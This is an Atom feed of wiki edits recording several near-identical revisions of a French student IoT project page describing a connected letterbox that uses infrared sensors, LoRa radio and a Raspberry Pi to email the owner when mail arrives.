https://projets-ima.plil.fr/mediawiki/api.php?action=feedcontributions&feedformat=atom&user=Rruet 2026-05-14T13:37:27Z Contributions de l’utilisateur MediaWiki 1.29.2 https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=37524 2017-01-20T08:43:08Z

<p>Rruet : /* Poster */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:bal.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Puce LoRa pour Raspberry &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Module µ-controleur + antenne LoRa &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 LED infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 récepteurs infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1 capteur de luminosité &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1m de tube en pvc &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> * contreplaqué pour la découpe de la boîte &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> <br /> ==Étapes du projet==<br /> <br /> * Conception du circuit µ-controleur + LEDs<br /> * Conception du boitier du module<br /> * Communication Raspberry Pi et module via LoRa<br /> * Envoi du mail d'avis de réception<br /> * tests<br /> <br /> ==Description technique du Projet==<br /> <br /> Notre objet connecté sera constitué de deux parties distinctes :<br /> * Une raspberry connectée à Internet (potentiel routeur de l'utilisateur)<br /> * Le module à insérer dans la BAL<br /> <br /> La raspberry aura pour fonction de recevoir, via un module LoRa connecté sur son port série, le signal du module signifiant qu'un courrier a été inséré dans la BAL. Une fois ce signal reçu, elle s'occupera d'envoyer un mail à l'utilisateur pour le prévenir.<br /> <br /> Le module dans la BAL sera constitué d'un module LoRa alimenté par une batterie, qui alimentera le capteur de luminosité, les différentes LED émettrices, et récupérera les valeurs en sorties des 4 récepteurs infrarouges. Tant que les récepteurs recevront un signal, le facteur ne sera pas passé. Mais lorsqu'un courrier sera inséré dans la BAL, le capteur de luminosité captera le la lumière passant par la fente de la BAL, et une ou plusieurs connections IR seront coupées. C'est à cet instant que le module LoRa enverra le signal de réception au récepteur connecté à la Raspberry.<br /> <br /> Si seul le capteur de luminosité reçoit de la lumière, et que les connections IR restent actives, cela signifiera que seule la fente a été ouverte, mais qu'aucun courrier n'a été livré.<br /> <br /> ==Suivi de l'avancement du projet==<br /> ===Séance 1===<br /> <br /> * Définition du cahier des charges<br /> * Définition du matériel nécessaires<br /> * Premier Schéma du prototype<br /> <br /> ===Séance 2===<br /> <br /> * Prise en main des modules LoRa (Adafruits feather m0)<br /> * Configuration en mode transmetteur pour l'un, et récepteur pour l'autre<br /> * Communication entre les deux<br /> * Connexion de la Raspberry Pi à Internet<br /> * Code pour l'envoi de mail<br /> * Découpe des pièces du prototype à la découpeuse laser<br /> * Etude de la pinmap des modules LoRa pour alimentation des LED infrarouges et récepteurs<br /> * Réflexion quant aux modifications à apporter aux codes des modules LoRa pour l'application souhaitée<br /> <br /> ===Séance 3===<br /> * Finalisation du code pour la communication entre modules LoRa<br /> * Création d'un programme en langage C pour le traitement des informations reçues par l'Arduino<br /> * Mise en place d'un prototype<br /> * Branchement du capteur de luminosité<br /> * Création d'une interface web pour le choix de l'adresse mail et du corps du message envoyé<br /> * Edition du poster A3<br /> <br /> ===Séance 4===<br /> * Optimisation du code des modules LoRa et du code C sur la raspberry<br /> * montage final du prototype<br /> * Suite de l'édition du poster A3<br /> <br /> ===Séance 5===<br /> * Automatisation du processus sur la Raspberry<br /> * Connexion de la Raspberry en Wifi automatiquement au démarrage sur un téléphone en partage de connexion pour accès internet durant la démo<br /> * Développement d'une petite application Android analogue à l'interface web, pour pouvoir régler l'adresse et le corps du message depuis son smartphone<br /> <br /> ==Poster==<br /> <br /> [[Fichier:PosterGr2.png|1000px|thumb|center|Poster de notre BAL connectée]]<br /> <br /> ==Aperçus des applications==<br /> <br /> [[Fichier:web_bal.png|1000px|thumb|center|Aperçu de l'application web]]<br /> <br /> [[Fichier:appli.png|500px|thumb|center|Aperçu de l'application mobile]]</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=37523 2017-01-20T08:42:21Z

<p>Rruet : /* Aperçus des applications */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:bal.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Puce LoRa pour Raspberry &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Module µ-controleur + antenne LoRa &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 LED infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 récepteurs infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1 capteur de luminosité &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1m de tube en pvc &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> * contreplaqué pour la découpe de la boîte &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> <br /> ==Étapes du projet==<br /> <br /> * Conception du circuit µ-controleur + LEDs<br /> * Conception du boitier du module<br /> * Communication Raspberry Pi et module via LoRa<br /> * Envoi du mail d'avis de réception<br /> * tests<br /> <br /> ==Description technique du Projet==<br /> <br /> Notre objet connecté sera constitué de deux parties distinctes :<br /> * Une raspberry connectée à Internet (potentiel routeur de l'utilisateur)<br /> * Le module à insérer dans la BAL<br /> <br /> La raspberry aura pour fonction de recevoir, via un module LoRa connecté sur son port série, le signal du module signifiant qu'un courrier a été inséré dans la BAL. Une fois ce signal reçu, elle s'occupera d'envoyer un mail à l'utilisateur pour le prévenir.<br /> <br /> Le module dans la BAL sera constitué d'un module LoRa alimenté par une batterie, qui alimentera le capteur de luminosité, les différentes LED émettrices, et récupérera les valeurs en sorties des 4 récepteurs infrarouges. Tant que les récepteurs recevront un signal, le facteur ne sera pas passé. Mais lorsqu'un courrier sera inséré dans la BAL, le capteur de luminosité captera le la lumière passant par la fente de la BAL, et une ou plusieurs connections IR seront coupées. C'est à cet instant que le module LoRa enverra le signal de réception au récepteur connecté à la Raspberry.<br /> <br /> Si seul le capteur de luminosité reçoit de la lumière, et que les connections IR restent actives, cela signifiera que seule la fente a été ouverte, mais qu'aucun courrier n'a été livré.<br /> <br /> ==Suivi de l'avancement du projet==<br /> ===Séance 1===<br /> <br /> * Définition du cahier des charges<br /> * Définition du matériel nécessaires<br /> * Premier Schéma du prototype<br /> <br /> ===Séance 2===<br /> <br /> * Prise en main des modules LoRa (Adafruits feather m0)<br /> * Configuration en mode transmetteur pour l'un, et récepteur pour l'autre<br /> * Communication entre les deux<br /> * Connexion de la Raspberry Pi à Internet<br /> * Code pour l'envoi de mail<br /> * Découpe des pièces du prototype à la découpeuse laser<br /> * Etude de la pinmap des modules LoRa pour alimentation des LED infrarouges et récepteurs<br /> * Réflexion quant aux modifications à apporter aux codes des modules LoRa pour l'application souhaitée<br /> <br /> ===Séance 3===<br /> * Finalisation du code pour la communication entre modules LoRa<br /> * Création d'un programme en langage C pour le traitement des informations reçues par l'Arduino<br /> * Mise en place d'un prototype<br /> * Branchement du capteur de luminosité<br /> * Création d'une interface web pour le choix de l'adresse mail et du corps du message envoyé<br /> * Edition du poster A3<br /> <br /> ===Séance 4===<br /> * Optimisation du code des modules LoRa et du code C sur la raspberry<br /> * montage final du prototype<br /> * Suite de l'édition du poster A3<br /> <br /> ===Séance 5===<br /> * Automatisation du processus sur la Raspberry<br /> * Connexion de la Raspberry en Wifi automatiquement au démarrage sur un téléphone en partage de connexion pour accès internet durant la démo<br /> * Développement d'une petite application Android analogue à l'interface web, pour pouvoir régler l'adresse et le corps du message depuis son smartphone<br /> <br /> ==Poster==<br /> <br /> [[Fichier:PosterGr2.png]]<br /> <br /> ==Aperçus des applications==<br /> <br /> [[Fichier:web_bal.png|1000px|thumb|center|Aperçu de l'application web]]<br /> <br /> [[Fichier:appli.png|500px|thumb|center|Aperçu de l'application mobile]]</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Fichier:Appli.png&diff=37522 2017-01-20T08:40:29Z

<p>Rruet : </p> <hr /> <div></div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Fichier:Web_bal.png&diff=37521 2017-01-20T08:38:43Z

<p>Rruet : </p> <hr /> <div></div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=37520 2017-01-20T08:38:14Z

<p>Rruet : /* Aperçus des applications */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:bal.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Puce LoRa pour Raspberry &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Module µ-controleur + antenne LoRa &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 LED infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 récepteurs infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1 capteur de luminosité &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1m de tube en pvc &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> * contreplaqué pour la découpe de la boîte &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> <br /> ==Étapes du projet==<br /> <br /> * Conception du circuit µ-controleur + LEDs<br /> * Conception du boitier du module<br /> * Communication Raspberry Pi et module via LoRa<br /> * Envoi du mail d'avis de réception<br /> * tests<br /> <br /> ==Description technique du Projet==<br /> <br /> Notre objet connecté sera constitué de deux parties distinctes :<br /> * Une raspberry connectée à Internet (potentiel routeur de l'utilisateur)<br /> * Le module à insérer dans la BAL<br /> <br /> La raspberry aura pour fonction de recevoir, via un module LoRa connecté sur son port série, le signal du module signifiant qu'un courrier a été inséré dans la BAL. Une fois ce signal reçu, elle s'occupera d'envoyer un mail à l'utilisateur pour le prévenir.<br /> <br /> Le module dans la BAL sera constitué d'un module LoRa alimenté par une batterie, qui alimentera le capteur de luminosité, les différentes LED émettrices, et récupérera les valeurs en sorties des 4 récepteurs infrarouges. Tant que les récepteurs recevront un signal, le facteur ne sera pas passé. Mais lorsqu'un courrier sera inséré dans la BAL, le capteur de luminosité captera le la lumière passant par la fente de la BAL, et une ou plusieurs connections IR seront coupées. C'est à cet instant que le module LoRa enverra le signal de réception au récepteur connecté à la Raspberry.<br /> <br /> Si seul le capteur de luminosité reçoit de la lumière, et que les connections IR restent actives, cela signifiera que seule la fente a été ouverte, mais qu'aucun courrier n'a été livré.<br /> <br /> ==Suivi de l'avancement du projet==<br /> ===Séance 1===<br /> <br /> * Définition du cahier des charges<br /> * Définition du matériel nécessaires<br /> * Premier Schéma du prototype<br /> <br /> ===Séance 2===<br /> <br /> * Prise en main des modules LoRa (Adafruits feather m0)<br /> * Configuration en mode transmetteur pour l'un, et récepteur pour l'autre<br /> * Communication entre les deux<br /> * Connexion de la Raspberry Pi à Internet<br /> * Code pour l'envoi de mail<br /> * Découpe des pièces du prototype à la découpeuse laser<br /> * Etude de la pinmap des modules LoRa pour alimentation des LED infrarouges et récepteurs<br /> * Réflexion quant aux modifications à apporter aux codes des modules LoRa pour l'application souhaitée<br /> <br /> ===Séance 3===<br /> * Finalisation du code pour la communication entre modules LoRa<br /> * Création d'un programme en langage C pour le traitement des informations reçues par l'Arduino<br /> * Mise en place d'un prototype<br /> * Branchement du capteur de luminosité<br /> * Création d'une interface web pour le choix de l'adresse mail et du corps du message envoyé<br /> * Edition du poster A3<br /> <br /> ===Séance 4===<br /> * Optimisation du code des modules LoRa et du code C sur la raspberry<br /> * montage final du prototype<br /> * Suite de l'édition du poster A3<br /> <br /> ===Séance 5===<br /> * Automatisation du processus sur la Raspberry<br /> * Connexion de la Raspberry en Wifi automatiquement au démarrage sur un téléphone en partage de connexion pour accès internet durant la démo<br /> * Développement d'une petite application Android analogue à l'interface web, pour pouvoir régler l'adresse et le corps du message depuis son smartphone<br /> <br /> ==Poster==<br /> <br /> [[Fichier:PosterGr2.png]]<br /> <br /> ==Aperçus des applications==<br /> <br /> [[Fichier:web_bal.png]]<br /> <br /> [[Fichier:appli.png]]</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=37519 2017-01-20T08:37:55Z

<p>Rruet : /* Poster */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:bal.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Puce LoRa pour Raspberry &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Module µ-controleur + antenne LoRa &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 LED infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 récepteurs infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1 capteur de luminosité &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1m de tube en pvc &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> * contreplaqué pour la découpe de la boîte &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> <br /> ==Étapes du projet==<br /> <br /> * Conception du circuit µ-controleur + LEDs<br /> * Conception du boitier du module<br /> * Communication Raspberry Pi et module via LoRa<br /> * Envoi du mail d'avis de réception<br /> * tests<br /> <br /> ==Description technique du Projet==<br /> <br /> Notre objet connecté sera constitué de deux parties distinctes :<br /> * Une raspberry connectée à Internet (potentiel routeur de l'utilisateur)<br /> * Le module à insérer dans la BAL<br /> <br /> La raspberry aura pour fonction de recevoir, via un module LoRa connecté sur son port série, le signal du module signifiant qu'un courrier a été inséré dans la BAL. Une fois ce signal reçu, elle s'occupera d'envoyer un mail à l'utilisateur pour le prévenir.<br /> <br /> Le module dans la BAL sera constitué d'un module LoRa alimenté par une batterie, qui alimentera le capteur de luminosité, les différentes LED émettrices, et récupérera les valeurs en sorties des 4 récepteurs infrarouges. Tant que les récepteurs recevront un signal, le facteur ne sera pas passé. Mais lorsqu'un courrier sera inséré dans la BAL, le capteur de luminosité captera le la lumière passant par la fente de la BAL, et une ou plusieurs connections IR seront coupées. C'est à cet instant que le module LoRa enverra le signal de réception au récepteur connecté à la Raspberry.<br /> <br /> Si seul le capteur de luminosité reçoit de la lumière, et que les connections IR restent actives, cela signifiera que seule la fente a été ouverte, mais qu'aucun courrier n'a été livré.<br /> <br /> ==Suivi de l'avancement du projet==<br /> ===Séance 1===<br /> <br /> * Définition du cahier des charges<br /> * Définition du matériel nécessaires<br /> * Premier Schéma du prototype<br /> <br /> ===Séance 2===<br /> <br /> * Prise en main des modules LoRa (Adafruits feather m0)<br /> * Configuration en mode transmetteur pour l'un, et récepteur pour l'autre<br /> * Communication entre les deux<br /> * Connexion de la Raspberry Pi à Internet<br /> * Code pour l'envoi de mail<br /> * Découpe des pièces du prototype à la découpeuse laser<br /> * Etude de la pinmap des modules LoRa pour alimentation des LED infrarouges et récepteurs<br /> * Réflexion quant aux modifications à apporter aux codes des modules LoRa pour l'application souhaitée<br /> <br /> ===Séance 3===<br /> * Finalisation du code pour la communication entre modules LoRa<br /> * Création d'un programme en langage C pour le traitement des informations reçues par l'Arduino<br /> * Mise en place d'un prototype<br /> * Branchement du capteur de luminosité<br /> * Création d'une interface web pour le choix de l'adresse mail et du corps du message envoyé<br /> * Edition du poster A3<br /> <br /> ===Séance 4===<br /> * Optimisation du code des modules LoRa et du code C sur la raspberry<br /> * montage final du prototype<br /> * Suite de l'édition du poster A3<br /> <br /> ===Séance 5===<br /> * Automatisation du processus sur la Raspberry<br /> * Connexion de la Raspberry en Wifi automatiquement au démarrage sur un téléphone en partage de connexion pour accès internet durant la démo<br /> * Développement d'une petite application Android analogue à l'interface web, pour pouvoir régler l'adresse et le corps du message depuis son smartphone<br /> <br /> ==Poster==<br /> <br /> [[Fichier:PosterGr2.png]]<br /> <br /> ==Aperçus des applications==<br /> <br /> [[Fichier:web.png]]<br /> <br /> [[Fichier:appli.png]]</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=37265 2017-01-15T14:54:54Z

<p>Rruet : /* Séance 3 */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:bal.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Puce LoRa pour Raspberry &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Module µ-controleur + antenne LoRa &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 LED infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 récepteurs infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1 capteur de luminosité &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1m de tube en pvc &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> * contreplaqué pour la découpe de la boîte &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> <br /> ==Étapes du projet==<br /> <br /> * Conception du circuit µ-controleur + LEDs<br /> * Conception du boitier du module<br /> * Communication Raspberry Pi et module via LoRa<br /> * Envoi du mail d'avis de réception<br /> * tests<br /> <br /> ==Description technique du Projet==<br /> <br /> Notre objet connecté sera constitué de deux parties distinctes :<br /> * Une raspberry connectée à Internet (potentiel routeur de l'utilisateur)<br /> * Le module à insérer dans la BAL<br /> <br /> La raspberry aura pour fonction de recevoir, via un module LoRa connecté sur son port série, le signal du module signifiant qu'un courrier a été inséré dans la BAL. Une fois ce signal reçu, elle s'occupera d'envoyer un mail à l'utilisateur pour le prévenir.<br /> <br /> Le module dans la BAL sera constitué d'un module LoRa alimenté par une batterie, qui alimentera le capteur de luminosité, les différentes LED émettrices, et récupérera les valeurs en sorties des 4 récepteurs infrarouges. Tant que les récepteurs recevront un signal, le facteur ne sera pas passé. Mais lorsqu'un courrier sera inséré dans la BAL, le capteur de luminosité captera le la lumière passant par la fente de la BAL, et une ou plusieurs connections IR seront coupées. C'est à cet instant que le module LoRa enverra le signal de réception au récepteur connecté à la Raspberry.<br /> <br /> Si seul le capteur de luminosité reçoit de la lumière, et que les connections IR restent actives, cela signifiera que seule la fente a été ouverte, mais qu'aucun courrier n'a été livré.<br /> <br /> ==Suivi de l'avancement du projet==<br /> ===Séance 1===<br /> <br /> * Définition du cahier des charges<br /> * Définition du matériel nécessaires<br /> * Premier Schéma du prototype<br /> <br /> ===Séance 2===<br /> <br /> * Prise en main des modules LoRa (Adafruits feather m0)<br /> * Configuration en mode transmetteur pour l'un, et récepteur pour l'autre<br /> * Communication entre les deux<br /> * Connexion de la Raspberry Pi à Internet<br /> * Code pour l'envoi de mail<br /> * Découpe des pièces du prototype à la découpeuse laser<br /> * Etude de la pinmap des modules LoRa pour alimentation des LED infrarouges et récepteurs<br /> * Réflexion quant aux modifications à apporter aux codes des modules LoRa pour l'application souhaitée<br /> <br /> ===Séance 3===<br /> * Finalisation du code pour la communication entre modules LoRa<br /> * Création d'un programme en langage C pour le traitement des informations reçues par l'Arduino<br /> * Mise en place d'un prototype<br /> * Branchement du capteur de luminosité<br /> * Création d'une interface web pour le choix de l'adresse mail et du corps du message envoyé<br /> * Edition du poster A3<br /> <br /> ===Séance 4===<br /> * Optimisation du code des modules LoRa et du code C sur la raspberry<br /> * montage final du prototype<br /> * Suite de l'édition du poster A3<br /> <br /> ===Séance 5===<br /> * Automatisation du processus sur la Raspberry<br /> * Connexion de la Raspberry en Wifi automatiquement au démarrage sur un téléphone en partage de connexion pour accès internet durant la démo<br /> * Développement d'une petite application Android analogue à l'interface web, pour pouvoir régler l'adresse et le corps du message depuis son smartphone</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Bo%C3%AEte_aux_lettres_connect%C3%A9e&diff=37264 2017-01-15T14:46:53Z

<p>Rruet : /* Objectif du projet */</p> <hr /> <div>==Cahier des charges==<br /> ===Présentation générale du projet===<br /> ====Contexte====<br /> <br /> Dans le cadre du module IoT (Internet of Things), nous devons réaliser en 20 heures un prototype d'objet connecté. Cet objet connecté devra répondre à un certain besoin existant. Nous avons décidé de concevoir une boite aux lettres connectée.<br /> <br /> ====Objectif du projet====<br /> <br /> Nous imaginons réaliser un module insérable dans une BAL qui permettrait de détecter la réception d'un courrier ou colis. L'utilisateur serait alors prévenu et cela lui éviterait un déplacement inutile.<br /> <br /> Voici un schéma montrant notre vision du prototype :<br /> <br /> [[Fichier:bal.png]]<br /> <br /> ====Description du projet====<br /> <br /> Le module serait confectionné à la découpeuse laser du Fabricarium, et sera prévu pour s'insérer dans une BAL normalisée (26cmx26cmx34cm). Il sera équipé de plusieurs capteurs permettant de repérer l'insertion d'un courrier. Il y aura deux systèmes de détections :<br /> * Un qui détectera l'ouverture de la trappe <br /> * L'autre qui confirmera qu'il y a bien un courrier/colis dans la BAL.<br /> <br /> Dès qu'un objet sera inséré dans la BAL, le module enverra un signal à une Raspberry Pi, qui sera connectée au réseau du domicile de l'utilisateur, via le protocole LoRa. La raspberry enverra ensuite un mail à l'utilisateur pour le prévenir.<br /> <br /> ====Matériel nécessaire====<br /> <br /> Pour ce projet, nous aurons besoin de :<br /> * Un raspberry Pi &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Puce LoRa pour Raspberry &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * Module µ-controleur + antenne LoRa &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 LED infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 4 récepteurs infrarouges &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1 capteur de luminosité &lt;span style=&quot;color:green&quot;&gt;[reçu]&lt;/span&gt; <br /> * 1m de tube en pvc &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> * contreplaqué pour la découpe de la boîte &lt;span style=&quot;color:blue&quot;&gt;[Remboursé]&lt;/span&gt;<br /> <br /> ==Étapes du projet==<br /> <br /> * Conception du circuit µ-controleur + LEDs<br /> * Conception du boitier du module<br /> * Communication Raspberry Pi et module via LoRa<br /> * Envoi du mail d'avis de réception<br /> * tests<br /> <br /> ==Description technique du Projet==<br /> <br /> Notre objet connecté sera constitué de deux parties distinctes :<br /> * Une raspberry connectée à Internet (potentiel routeur de l'utilisateur)<br /> * Le module à insérer dans la BAL<br /> <br /> La raspberry aura pour fonction de recevoir, via un module LoRa connecté sur son port 